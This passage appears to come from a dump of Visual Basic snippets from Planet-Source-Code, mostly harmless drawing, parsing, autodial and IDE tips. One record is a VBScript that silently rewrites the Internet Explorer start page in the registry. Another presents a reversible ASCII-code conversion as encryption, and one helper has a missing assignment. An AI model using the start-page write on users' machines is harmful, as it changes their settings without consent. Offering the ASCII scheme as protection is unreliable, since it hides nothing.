variable a True value. On the other hand, this... \n \nblnMyBoolean = (1 + 1 = 3) \n \n...would give the variable a False value. You can also use greater than or less than: \nblnMyBoolean = (1 < 2) 'true \nThis is useful if you're making a math quiz program or something or you use boolean variables that test numbers. Another good tip I know that saves time is a quick way to reverse boolean variables. For example, say you have a Command Button that Enables or Disables a timer. Instead of using an if, just do this: \nPrivate Sub Command1_Click() \nTimer1.Enabled = Not Timer1.Enabled \nEnd Sub You can also use this with Visible, or any other boolean variable. I hope these two quick tips helped you. No need to vote, I just felt like uploading this.\n\n\n"},{"WorldId":1,"id":38892,"LineNumber":1,"line":"'++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n'+ +\n'+ Published on Planet-Source-Code the 11th of september 2002 +\n'+ +\n'+ by Pietro Cecchi, pietrocecchi@inwind.it +\n'+ +\n'+ SUPERLINE - Awesome! Draws even thick lines in dashes and dots! +\n'+ Function DrawLine(ByVal isHwnd As Long, +\n'+ ByVal isX1 As Long, ByVal isY1 As Long, +\n'+ ByVal isX2 As Long, ByVal isY2 As Long, +\n'+ ByVal isColor As Long, +\n'+ ByVal isStyle As PenStyle, +\n'+ ByVal isWidth As Long) +\n'+ Enjoy! +\n'+ +\n'++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\nOption Explicit\nPrivate Type POINTAPI\n x As Long\n y As Long\nEnd Type\nPrivate Declare Function MoveToEx Lib \"gdi32\" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, lpPoint As POINTAPI) As Long\nPrivate Declare Function LineTo Lib \"gdi32\" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long\nPrivate Declare Function GetDC Lib \"user32\" (ByVal hwnd As Long) As Long\nPrivate Declare Function ReleaseDC Lib \"user32\" (ByVal hwnd As Long, ByVal hdc As Long) As Long\nPrivate Declare Function CreatePen Lib \"gdi32\" (ByVal nPenStyle As Long, ByVal nWidth As Long, ByVal crColor As Long) As Long\nPrivate Declare Function SelectObject Lib \"gdi32\" (ByVal hdc As Long, ByVal hObject As Long) As Long\nPrivate Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\n'Pen Styles\nPublic Enum PenStyle\n PS_SOLID = 0 'vbBSSolid-1\n PS_DASH = 1 'vbBSDash-1\n PS_DOT = 2 'vbBSDot-1\n PS_DASHDOT = 3 'vbBSDashDot-1\n PS_DASHDOTDOT = 4 'vbBSDashDotDot-1\nEnd Enum\nPublic Function SUPERLINE(ByVal isHwnd As Long, ByVal isX1 As Long, ByVal isY1 As Long, ByVal isX2 As Long, ByVal isY2 As Long, ByVal isColor As Long, ByVal isStyle As PenStyle, ByVal isWidth As Long) As Integer\n Dim ishDC, hpen, hpenOLD, isPoint As POINTAPI\n Dim dashlen, dotlen, dashdotintervallen, linelen\n Dim a, segmentlen, segmenthowmany, segmentoflineX, intervallenonlineX, segmentoflineY, intervallenonlineY\n Dim isarc, istn, dashprojectionX, dashprojectionY\n Dim dotprojectionX, dotprojectionY\n Dim dashdotintervalprojectionX, dashdotintervalprojectionY\n Dim minlength As Integer\n Dim commandstring As String\n Dim movetoX, movetoY, movetoXsave, movetoYsave\n \n Dim isTMP As Single\n \n If isY1 > isY2 Then\n 'shaffle end points\n isTMP = isX1\n isX1 = isX2\n isX2 = isTMP\n isTMP = isY1\n isY1 = isY2\n isY2 = isTMP\n End If\n 'INPUT CONTROL\n Select Case isWidth\n Case 1 To 20\n Case Else\n isWidth = 1\n End Select\n \n ishDC = GetDC(isHwnd)\n hpen = CreatePen(PS_SOLID, isWidth, isColor) 'note: always solid\n hpenOLD = SelectObject(ishDC, hpen)\n \n dashlen = 4 * isWidth\n dotlen = 1 'note: dot len always 1\n dashdotintervallen = 2 * isWidth\n Select Case isStyle\n Case PS_SOLID\n MoveToEx ishDC, isX1, isY1, isPoint\n LineTo ishDC, isX2, isY2\n SUPERLINE = 1 'OK\n Case PS_DASH, PS_DOT, PS_DASHDOT, PS_DASHDOTDOT\n Select Case isStyle\n Case PS_DASH\n '- -\n minlength = 2 * dashlen + 1 * dashdotintervallen\n commandstring = \"- \"\n segmentlen = 1 * dashlen + 1 * dashdotintervallen\n Case PS_DOT\n '. .\n minlength = 2 * dotlen + 1 * dashdotintervallen\n commandstring = \". \"\n segmentlen = 1 * dotlen + 1 * dashdotintervallen\n Case PS_DASHDOT\n '- . -\n minlength = 2 * dashlen + 1 * dotlen + 2 * dashdotintervallen\n commandstring = \"- . \"\n segmentlen = 1 * dashlen + 1 * dotlen + 2 * dashdotintervallen\n Case PS_DASHDOTDOT\n '- . . -\n minlength = 2 * dashlen + 2 * dotlen + 3 * dashdotintervallen\n commandstring = \"- . . \"\n segmentlen = 1 * dashlen + 2 * dotlen + 3 * dashdotintervallen\n End Select\n linelen = CInt(Sqr((isX2 - isX1) ^ 2 + (isY2 - isY1) ^ 2))\n Select Case linelen\n Case Is <= minlength 'shorter, draw solid line\n MoveToEx ishDC, isX1, isY1, isPoint\n LineTo ishDC, isX2, isY2\n SUPERLINE = 0 'line too short, dot and dashes can't be drawn\n Case Else 'longer, can draw dashed/dotted line\n SUPERLINE = 1 'OK\n segmenthowmany = linelen \\ segmentlen\n segmentoflineX = (isX2 - isX1) \\ segmenthowmany\n segmentoflineY = (isY2 - isY1) \\ segmenthowmany\n If (isY2 - isY1) <> 0 Then 'avoid division by 0\n istn = (isX2 - isX1) / (isY2 - isY1)\n isarc = Atn(istn)\n Else 'pi/2\n isarc = Atn(1) * 2 * Sgn(isX2 - isX1)\n End If\n dashprojectionX = dashlen * Sin(isarc)\n dashprojectionY = dashlen * Cos(isarc)\n dotprojectionX = dotlen * Sin(isarc)\n dotprojectionY = dotlen * Cos(isarc)\n dashdotintervalprojectionX = dashdotintervallen * Sin(isarc)\n dashdotintervalprojectionY = dashdotintervallen * Cos(isarc)\n For a = 1 To segmenthowmany\n DoEvents\n Select Case isStyle\n Case PS_DASH\n movetoX = isX1 + segmentoflineX * (a - 1)\n movetoY = isY1 + segmentoflineY * (a - 1)\n MoveToEx ishDC, movetoX, movetoY, isPoint\n LineTo ishDC, movetoX + dashprojectionX, movetoY + dashprojectionY\n Case PS_DOT\n movetoX = isX1 + segmentoflineX * (a - 1)\n movetoY = isY1 + segmentoflineY * (a - 1)\n MoveToEx ishDC, movetoX, movetoY, isPoint\n LineTo ishDC, movetoX + dotprojectionX, movetoY + dotprojectionY\n Case PS_DASHDOT\n 'dash\n movetoX = isX1 + segmentoflineX * (a - 1)\n movetoY = isY1 + segmentoflineY * (a - 1)\n MoveToEx ishDC, movetoX, movetoY, isPoint\n LineTo ishDC, movetoX + dashprojectionX, movetoY + dashprojectionY\n \n 'move to middle of left space of segment\n movetoX = movetoX + dashprojectionX + (segmentoflineX - dashprojectionX) / 2\n movetoY = movetoY + dashprojectionY + (segmentoflineY - dashprojectionY) / 2\n MoveToEx ishDC, movetoX, movetoY, isPoint\n \n 'dot is always 1 pixel\n dotprojectionX = 1\n dotprojectionY = 1\n \n 'dot\n LineTo ishDC, movetoX + dotprojectionX, movetoY + dotprojectionY\n Case PS_DASHDOTDOT\n 'dash\n movetoX = isX1 + segmentoflineX * (a - 1)\n movetoY = isY1 + segmentoflineY * (a - 1)\n MoveToEx ishDC, movetoX, movetoY, isPoint\n LineTo ishDC, movetoX + dashprojectionX, movetoY + dashprojectionY\n \n \n movetoXsave = movetoX\n movetoYsave = movetoY\n 'move to 1/3 of left space of segment\n movetoX = movetoX + dashprojectionX + (segmentoflineX - dashprojectionX) / 3\n movetoY = movetoY + dashprojectionY + (segmentoflineY - dashprojectionY) / 3\n MoveToEx ishDC, movetoX, movetoY, isPoint\n \n 'dot is always 1 pixel\n dotprojectionX = 1\n dotprojectionY = 1\n \n 'dot\n LineTo ishDC, movetoX + dotprojectionX, movetoY + dotprojectionY\n \n 'move to 2/3 of left space of segment\n movetoX = movetoXsave + dashprojectionX + (segmentoflineX - dashprojectionX) / 3 * 2\n movetoY = movetoYsave + dashprojectionY + (segmentoflineY - dashprojectionY) / 3 * 2\n MoveToEx ishDC, movetoX, movetoY, isPoint\n \n 'dot\n LineTo ishDC, movetoX + dotprojectionX, movetoY + dotprojectionY\n End Select\n Next\n \n \n End Select\n End Select\n \n \n SelectObject ishDC, hpenOLD\n DeleteObject hpen\n ReleaseDC isHwnd, ishDC\n \n \nEnd Function\n"},{"WorldId":1,"id":38893,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38895,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38896,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38906,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38907,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38916,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38917,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38933,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38942,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38947,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38950,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38953,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38957,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38958,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38960,"LineNumber":1,"line":"Private Sub Command1_Click()\n '*** 1ts Method ***\n Dim i(5) As Integer\n i(0) = 1: i(1) = 2: i(2) = 3: i(3) = 4: i(4) = 5: i(5) = 5:\n MsgBox Add1(i)\n \n '*** 2nd method ***\n MsgBox Add(1, 2, 3, 4, 5, 5)\nEnd Sub\n'*** Here we are using an unbound array to pass int type of array like C/C++ ***\nPrivate Function Add1(i() As Integer) As Integer\nDim tt: tt = Now()\n \n Dim j As Long, sum As Long\n For j = 0 To UBound(i)\n sum = sum + i(j)\n Next j\n \n Debug.Print Now() - tt\n Add1 = sum\nEnd Function\n'*** This Method use ParamArray for the multiple arguments ***\nPrivate Function Add(ParamArray i()) As Long\nDim tt: tt = Now()\n Dim sum As Long: sum = 0\n For j = 0 To UBound(i)\n sum = sum + i(j)\n Next j\n \n Debug.Print Now() - tt\n Add = sum\nEnd Function"},{"WorldId":1,"id":38965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38971,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38979,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":38992,"LineNumber":1,"line":"'//[CommandLineModule] Basic Module\nOption Explicit\nDim strList As String\n'//\n'// Get items from $command var.\n'//\nPrivate Function GetParam(Count As Integer) As String\n Dim i As Long\n Dim j As Integer\n Dim c As String\n Dim bInside As Boolean\n Dim bQuoted As Boolean\n j = 1\n bInside = False\n bQuoted = False\n GetParam = \"\"\n For i = 1 To Len(Command)\n c = Mid$(Command, i, 1)\n If bInside And bQuoted Then\n If c = \"\"\"\" Then\n j = j + 1\n bInside = False\n bQuoted = False\n End If\n ElseIf bInside And Not bQuoted Then\n If c = \" \" Then\n j = j + 1\n bInside = False\n bQuoted = False\n End If\n Else\n If c = \"\"\"\" Then\n If j > Count Then Exit Function\n bInside = True\n bQuoted = True\n ElseIf c <> \" \" Then\n If j > Count Then Exit Function\n bInside = True\n bQuoted = False\n End If\n End If\n If bInside And j = Count And c <> \"\"\"\" Then GetParam = GetParam & c\n Next i\nEnd Function\n'//\n'// Count items whitin $command var.\n'//\nPrivate Function GetParamCount() As Integer\n Dim i As Long\n Dim c As String\n Dim bInside As Boolean\n Dim bQuoted As Boolean\n GetParamCount = 0\n bInside = False\n bQuoted = False\n For i = 1 To Len(Command)\n c = Mid$(Command, i, 1)\n If bInside And bQuoted Then\n If c = \"\"\"\" Then\n GetParamCount = GetParamCount + 1\n bInside = False\n bQuoted = False\n End If\n ElseIf bInside And Not bQuoted Then\n If c = \" \" Then\n GetParamCount = GetParamCount + 1\n bInside = False\n bQuoted = False\n End If\n Else\n If c = \"\"\"\" Then\n bInside = True\n bQuoted = True\n ElseIf c <> \" \" Then\n bInside = True\n bQuoted = False\n End If\n End If\n Next i\n If bInside Then GetParamCount = GetParamCount + 1\nEnd Function\n'//\n'// Set options allowed at command line switches\n'//\nPublic Function setAllowList(list As String)\nstrList = \"*\" & list\nEnd Function\n'//\n'// Check if commandline is valid\n'//\nPublic Function validateCommandline() As Boolean\nDim dmyArr() As String\nIf strList = \"\" Then\n Err.Raise 100, \"[validateCommandLine]\", \"AllowList has not been set\"\nElse\n On Error Resume Next\n Call getParmValue(\" \", dmyArr)\n If Err Then\n validateCommandline = False\n Else\n validateCommandline = True\n End If\nEnd If\nEnd Function\n'//\n'// Get Value by given option\n'//\nPublic Function getParmValue(ParmName As String, ReturnValue() As String) As Boolean\nDim i As Integer\nDim j As Integer\nDim strTmp As String\nReDim ReturnValue(0)\nParmName = LCase(ParmName)\nFor i = 1 To GetParamCount\n strTmp = GetParam(i)\n If Len(strTmp) >= 2 Then\n Select Case Left(strTmp, 1)\n \n Case \"-\", \"/\"\n strTmp = LCase(Trim(Mid(strTmp, 2)))\n If Not strList = \"\" Then\n If InStr(1, strList, \"|\" & strTmp & \"|\", vbTextCompare) = 0 Then\n Err.Raise 100, \"[getParmValue]\", \"AllowList value mismatch\"\n End If\n End If\n \n If strTmp = ParmName Then\n \n getParmValue = True '//Value Found\n \n For j = i + 1 To GetParamCount\n strTmp = GetParam(j)\n \n Select Case Left(strTmp, 1)\n \n Case \"-\", \"/\"\n i = j - 1\n Exit For\n \n Case Else\n Call addtoArray(ReturnValue, strTmp)\n \n End Select\n Next\n \n Exit Function\n End If\n \n End Select\n End If\nNext\nEnd Function\n'//\n'// Resize array\n'//\nPrivate Function addtoArray(ary() As String, item As String)\nReDim Preserve ary(UBound(ary) + 1)\nary(UBound(ary) - 1) = item\nEnd Function\n'//[SampleMain] Basic Module\nSub main()\n'// (optional) Set options allowed by the command line options;\n'//\n'// |s| will allow both -s as /s\n'// |index| will allow both -index as /index\n'// etc\nCommandLineModule.setAllowList (\"|s|index|d|n|\")\n'//\n'// (optional) With the limitations set, we can check if the commandline is valid.\n'//\nMsgBox \"Command line is valid: \" & CommandLineModule.validateCommandline\n'//\n'// Variable to store optional values, such as filenames\n'//\n'// The options /s is followed by several named arguments\n'// These values are stored in this array\n'//\nDim valueList() As String\nIf CommandLineModule.getParmValue(\"s\", valueList) Then\n \n '// List the values stored in the array\n '//\n For i = 0 To UBound(valueList) - 1\n MsgBox \"-s value: \" & valueList(i)\n Next\nElse\n '// Exit app if argument is missing\n '//\n MsgBox \"Missing argument: -s\"\n Exit Sub\n \nEnd If\n'//\n'// Check if value is pressent\nIf CommandLineModule.getParmValue(\"n\", valueList) Then\n If valueList(0) = \"\" Then\n MsgBox \"Missing value for option -n\"\n Else\n MsgBox \"the -n argument: \" & valueList(0)\n End If\nEnd If\n'//\n'// Check if value is pressent\nIf CommandLineModule.getParmValue(\"index\", valueList) Then\n MsgBox \"Option index active\"\nElse\n MsgBox \"Option index not active\"\nEnd If\nEnd Sub\n'//[CommandLineModule] Basic Module\n"},{"WorldId":1,"id":38998,"LineNumber":1,"line":"Set wshshell = CreateObject(\"WScript.Shell\")\nwshshell.RegWrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Start Page\", \"http://www.newstartpage.com\""},{"WorldId":1,"id":39007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":39014,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":39017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":39018,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":39019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":39020,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":39023,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":39029,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":39034,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":39036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":39042,"LineNumber":1,"line":" '------------------- \n'Start Examples of Form Code \n'------------------- \n Private Sub cmdConnectPopUp_Click() \nPopUpConnectDialog \nEnd Sub \nPrivate \n Sub cmdConnectAndDial_Click() \n PopUpThenDialConnectDialog \n End Sub\nPrivate \n Sub cmdDisconnect_Click() \n HangUpConnection \n End Sub\nPrivate \n Sub Form_Load() \n PopUpThenDialConnectDialog \n End Sub\n'------------------- \n 'End Examples of Form Code \n '------------------- \n \n '------------------- \n 'Start Module Code \n '------------------- \n \nPublic \n Declare Function \n InternetAutodial Lib \"wininet.dll\" _ \n (ByVal dwFlags As Long, \n ByVal dwReserved As Long) As Long\nPublic \n Declare Function \n InternetAutodialHangup Lib \"wininet.dll\" _ \n (ByVal dwReserved As Long) \n As Long\nPublic \n Const INTERNET_AUTODIAL_FORCE_ONLINE \n = 1 \n Public Const INTERNET_AUTODIAL_FORCE_UNATTENDED \n = 2\nFunction \n PopUpConnectDialog() \n On Error Resume Next \n If InternetAutodial(INTERNET_AUTODIAL_FORCE_ONLINE, \n 0) Then \n MsgBox \"You're Connected!\", vbOKOnly, \"Your App Name\" \n End If \n End Function\nFunction \n PopUpThenDialConnectDialog() \n On Error Resume Next \n If InternetAutodial(INTERNET_AUTODIAL_FORCE_UNATTENDED, 0) Then \n MsgBox \"You're Connected!\", vbOKOnly, \"Your App Name\" \n End If \n End Function\nFunction \n HangUpConnection() \n On Error Resume Next \n If InternetAutodialHangup(0) Then \n MsgBox \"You're Disconnected!\", vbOKOnly, \"Your App Name\" \n End If \n End Function \n '------------------- \n 'End Module Code \n '------------------- \n Thanks, \n Carroll Dearstone \n "},{"WorldId":1,"id":39045,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":39047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":39048,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42231,"LineNumber":1,"line":"Option Explicit\nPublic Enum FolderType\n fldWindows = 0 'i.e. C:\\WINNT\\\n fldWinSystem = 1 'i.e. C:\\WINNT\\SYSTEM32\n fldWinTemp = 2 'i.e. C:\\Temp\nEnd Enum\n'=================================================\n' Function Name: GetFolderPath\n' Inputs: The Special Windows Folder to get \n' the path from\n' Returns: string containing the desired \n' directory path\n'\n' References: Windows Scripting Runtime\n'\n' Method: objFileSystem.GetSpecialFolder(1)\n' Where: 1 = System Folder (ie C:\\winnt\\system32)\n' 2 = Temporary Folder (ie c:\\winnt\\temp)\n' 0 = Windows Folder (ie C:\\winnt\\)\n'\n'\n'=================================================\nPublic Function GetFolderPath(FolderType As FolderType) As String\n Dim objFileSystem As Object\n \n Set objFileSystem = CreateObject(\"Scripting.FileSystemObject\")\n \n Select Case FolderType\n Case fldWindows 'The Windows Directory\n GetFolderPath objFileSystem.GetSpecialFolder(0)\n Case fldWinSystem 'The Windows System Directory\n GetFolderPath = objFileSystem.GetSpecialFolder(1)\n Case fldWinTemp 'Windows Temp Folder\n GetFolderPath = objFileSystem.GetSpecialFolder(2)\n End Select\n \n Set objFileSystem = Nothing\nEnd Function\n"},{"WorldId":1,"id":42237,"LineNumber":1,"line":"I've noticed in several downloads that many people don't seem to know about the very useful 'Start With Full Compile' (CTRL+F5) instead of 'Start' (F5) to run code. To read MSDN and VB helpfiles you might think it was only for ActiveX programming, but it makes a great Debug tool for any code.\n \n It finds any structural errors, references to removed controls and (with 'Option Explicit' on every code page) missing variables, takes you to them and halts running code. Much safer than finding errors only once you start running. You might never test the bad code (and you just know the first user will hit it instantly).\n \n Using 'Full Compile' your code won't start until your it is structurally sound. It's not perfect of course and you can still mess up in all sorts of interesting and horrible ways but at least you won't upload any of the boring simple errors.\n \n \nTo make sure you don't rely on remembering the keyboard shortcut or mousing for the command in the menus (does anyone, anywhere use the Run menu to start their code?), you can create a ToolBar button to use 'Start With Full Compile' as follows:\n \n \n1. Right-Click the ToolBar\n \n \n2. Select Customize... \n \n \n3. Select Commands Tab\n \n \n4. Select Run in left pane\n \n \n5. Drag 'Start with Full Compile' from the right pane to the ToolBar and drop it where you want it.\n \n\t (I put it just to the left of standard 'Run' button (the 'play' arrow))\n \n \n6. You could stop here. However the new button is an ugly text only button reading \"Start With Full Compile\". \n \nMicrosoft supplied a ToolTip ('Full Start') for the button, but no icon so here's how to give it one.\n \n \n7. Leave the Customize tool open\n \n \n8. Right-Click the 'Run' button and select 'Copy Button Image' (Menu closes automatically)\n \n \n9. Right-Click the new button and select 'Paste Button Image' (Menu closes automatically)\n \n \n10. Right-Click it again and select 'Edit Button Image'\n \n \n11. Change design so you can tell it from standard 'Run' button (I add a big blue F next to the arrow)\n \n \n12. Select 'OK' (Button Image Editor closes)\n \n \n13. Right-Click button again and select 'Default Style' (Caption disappears)\n \n \n14. Close the Customize Tool.\n \n \nDone. \n \n \nWhile you are in the customising tool have a look around and see if there's anything else you'd like to add to the toolbars. The View menu has several interesting things you might like on the toolbar. You can also remove any buttons you don't want by dragging them from the toolbar to the Customize Tool. \n \n(I don't remember where I got it this, probably VBPJ. I've used it for so long that when something wiped my toolbars I first tried to find it in the Toolbar Customising system before remembering how to do it).\n--------------------------------------End of Original Posting -------------------------------------\nOTHER RECOMMENDATIONS \n1. I would recommend 'Ulli's Code Formatter' (Search for this) Version whatever its up to today (It is often updated and once you use it you'll find yourself checking for the latest version regularly. Ulli is very responsive to suggestions). I uses it automatically on any code I upload and any download of more than a couple of panes. You'll be amazed at how many problems it detects in your code, but it is a great teaching tool, you'll find yourself coding neatly just to get the congratulations message for clean code. It lays out your code neatly, finds structural errors, suggests improvements and sets 'Option Explicit' if it is missing. The help system is short (read it all in one go, run the program a few times and re-read it and you'll know your way around)\n\nThe best thing Ulli's code does is place markers at suspect points in your code. The most important ones are:\n \n':( As Variant ? = any untyped variable or Function. VB is happy with these but treats them as Variant which has the biggest footprint in memory. \n\t\t\t'For i = 1 to 400' can runs better with 'Dim i As Integer' than 'Dim i', It may only be a small gain in this case but could be significant in math intensive stuff. Also prevents 'Evil Type Coersion' (Variant will happily change your 'i' from an Integer to a Single or a String and create very hard to trace errors)\n \n\tOften an untyped Function could just as easily be a Sub. I'm not sure but suspect that if you don't return anything throught the Function Name VB still reserves memory for the potential Variant that the Function could return.\n\n':(┬áMissing Scope = detects Module level Dims (Public or Private is better/more up-to-date), un-Scoped Declarations and Functions (Scoping helps modularity and memory usage and allows you to hide Class functions from rest of program). (The old fasioned Global is automatically converted to Public)\n\n2. See Ulli's 'Did you know...' article and its comments for some other ways to access the Customizing actions.\n\n3. As a bit of self promotion see my 'Extended Find' Using this you can find all the markers Ulli's program puts in your code [ Search for Ulli's ':( ] and quickly edit them. For variables you can then search for them to see if you can work out what it is (this can also find unused variables you can safely delete.) . Also seeing your code this way often leads you to sloopy lumps of code you can tidy up. Apart from Finding Ulli's markers you can also quickly find every place your code uses a variable and check that it's doing so efficiently. \n\n4. I also like James Beer's 'Malicious String Hunter' for checking out downloads for potentially dangerous code. This is a promising new code hoping to replace Minnow's Code Scanner. Thanks James for the *s. (OK, he responded well to my comments on his code and I'm happy to recommend it in turn)\n--------------------------------------End of Other Recommendations -------------------------------------\nIMPORTANT ADDITIONS FORM COMMENTATORS (JIC you don't read comments. I added this as a sort of super Comment replying to everything at once and update the article when I've collected a few. I also responded personally to the authors. For simple congratulations, Thank you, they are very welcome.) \nCoding Genius recommends adding Comment Block, Uncomment Block, Indent, Outdent < Customize/Commands/Catagories = Edit near bottom of 'Commands' list>. (I've had this so long I thought it was default)\n\nSyllva Tech Software suggests using File|Make Project1.exe to do the same thing. Seems a bit extreme for debugging and will play havoc with Auto Increase Version numbering if you use that. And you don't get to see your code running if all's well.\n\nEric O''Sullivan suggests setting the IDE to 'break on all errors' (Tools|Options|General|Error Trapping). But this is a problem if the code path to what you want to test goes through an Error detector you know about. If it hits you can go to Error Trapping [while in Break Mode] turn it off, set a Breakpoint outside the Scope of the error trap and continue (F5). At the Break Point turn it back on and continue into your code. Better Turn it off, set breakpoints just before you enter the the suspect code and another one just after. When you hit the first breakpoint turn error checking on and continue, if you reach the second breakpoint turn it off. Does anyone know of a way to make VB do that automatically? (This may be a RTFM question but someone has to ask them.\n\nAlmar Joling points out that if you turn off \"compile on demand\" (Tools|Options|General) Then F5 / Run button does Full Compile. My way gives option of which way to do it.\n\nMerlin points out there is a delay when you start this way but its very short; my biggest project compiles to just under 2000 KB and I've never felt this delay as being significant.\n\nKen suggests some more buttons;'Add bookmark','Remove bookmark'... < Customize/Commands/Catagories = Edit near bottom of 'Commands' list> setting this allows you to set bookmarks within the code windows so you can hop between several points in different modules. I've just tried this out and its fantastic for jumping between related functions that happen to be spread around various modules or just widely separated within a module. Note Bookmarks are only for current code session (unfortunately)\n\n\n"},{"WorldId":1,"id":42239,"LineNumber":1,"line":"<pre>' Place 2 textboxes (txtCoded and txtRea ' l) and 2 command buttons (btndecrypt and ' btnencrypt) on a form\nPrivate Sub btndecrypt_Click()\nDim MyValue As String\nMyValue = 3\ntxtReal.Text = \"\"\nIf Len(txtCoded) < 1 Then Exit Sub\nFor i = 1 To Len(txtCoded) / 3\nIf MyValue = 3 Then\ntxtReal = txtReal & Chr(Left(txtCoded, MyValue))\nElse\ntxtReal = txtReal & Chr(Right(Left(txtCoded, MyValue), 3))\nEnd If\nMyValue = MyValue + 3\nNext i\nEnd Sub\nPrivate Sub btnEncrypt_Click()\nDim MyValue As String\nDim MyValue2 As String\nMyValue = 0\nMyValue2 = 1\ntxtCoded = \"\"\nIf Len(txtReal) < 1 Then Exit Sub\nFor i = 1 To Len(txtReal)\ntxtCoded = txtCoded & Asc(Mid(txtReal, i, 1))\nMyValue = MyValue + 1\nIf Len(txtCoded.Text) < 3 * MyValue Then\n MyValue2 = Right(txtCoded.Text, 2)\n txtCoded.Text = Left(txtCoded.Text, Len(txtCoded.Text) - 2)\n txtCoded.Text = txtCoded.Text & \"0\" & MyValue2\nEnd If\nNext i\nEnd Sub\n</pre>\n"},{"WorldId":1,"id":42247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42255,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42256,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42263,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42264,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42272,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42274,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42275,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42278,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42282,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42286,"LineNumber":1,"line":"option explicit\ndim oShell: set oShell = CreateObject(\"WScript.Shell\")\n' asume it started tweaked\ndim bTweaked: bTweaked = true\n' is it tweaked?\nif wscript.arguments.count = 0 then\n bTweaked = false\nelseif not wscript.arguments(0) = \"tweaked\" then \n bTweaked = false\nend if\n' if not, let's tweak it\nif not bTweaked then\n dim kFullScreen, kScreenColors\n kFullScreen = oShell.regRead(\"HKCU\\Console\\FullScreen\")\n kScreenColors = oShell.regRead(\"HKCU\\Console\\ScreenColors\")\n oShell.regwrite \"HKCU\\Console\\FullScreen\", 1, \"REG_DWORD\"\n oShell.regWrite \"HKCU\\Console\\ScreenColors\", 9, \"REG_DWORD\"\n oShell.run \"cscript.exe /NoLogo \"\"\" & wscript.scriptfullname & \"\"\" tweaked\"\n wscript.sleep 5000\n oShell.regwrite \"HKCU\\Console\\FullScreen\", kFullScreen, \"REG_DWORD\"\n oShell.regWrite \"HKCU\\Console\\ScreenColors\", kScreenColors, \"REG_DWORD\"\n set oShell = nothing\n wscript.quit\nend if\ndim oIn: set oIn = wscript.stdIn\ndim oOut: set oOut = wscript.stdOut\noOut.writeLine \"press enter to contintue...\"\ncall 